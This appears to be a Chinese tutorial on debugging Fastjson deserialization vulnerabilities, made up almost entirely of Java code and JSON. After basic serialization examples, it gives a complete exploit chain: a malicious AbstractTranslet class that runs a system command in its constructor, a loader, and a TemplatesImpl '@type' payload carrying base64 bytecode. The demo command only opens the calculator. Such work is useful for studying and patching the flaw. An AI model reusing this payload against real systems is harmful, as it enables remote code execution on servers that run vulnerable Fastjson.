亲手带你解决Debug Fastjson的安全漏洞

package fastjsonVul.fastjsonTest;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import fastjsonVul.fastjsonTest.User;
public class testFastJson {
        
    public static void main(String[] args){
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);    
        System.out.println(mapJson);
        
        User user1 = new User();
        user1.setUsername("果汁简历");
        user1.setSex("male");    
        System.out.println("obj name:"+user1.getClass().getName());
        
        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);
        
        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        
        //通过parse方法进行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getUsername());
        System.out.println();
        
        //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");
        
        //通过这种方式返回的是一个相应的类对象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
        
    }
}

import java.io.IOException;
 
public class Evil {
 
    public String getName() {
        System.out.println("i am getterName!");
        return name;
    }
 
    public void setName(String name) {
        System.out.println("i am setterName!");
        this.name = name;
    }
 
    public String name;
 
    public int getAge() {
        System.out.println("i am getterAge!");
        return age;
    }
 
    public void setAge(int age) {
        System.out.println("i am setterAge!");
        this.age = age;
    }
 
    private int age;
 
    public Evil() throws IOException{
        System.out.println("i am constructor!");
    }
}

import com.alibaba.fastjson.JSON;
 
import java.io.*;
 
public class App{
    public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
        InputStream is = new FileInputStream(filePath);
        String line; // 用来保存每行读取的内容
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        line = reader.readLine(); // 读取第一行
        while (line != null) { // 如果 line 为空说明读完了
            buffer.append(line); // 将读到的内容添加到 buffer 中
            buffer.append("\n"); // 添加换行符
            line = reader.readLine(); // 读取下一行
        }
        reader.close();
        is.close();
    }
    public static void main( String[] args ) throws IOException
    {
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
        Object obj = JSON.parseObject(Buffer.toString());
    }
}

{
 "@type" : "Evil1",
 "name" : "M0rk",
 "age"  : "20"}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
 
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
 
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 
 
public class poc {
 
    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
 
    }
 
 
    public static void main(String args[]) throws Exception{
//        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
//        String evilCode = readClass(evilClassPath);
//        System.out.println(evilCode);
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
        Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);
 
    }
}

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
  "_name" : "M0rk",
  "_tfactory" : {},
  "outputProperties" : {}
}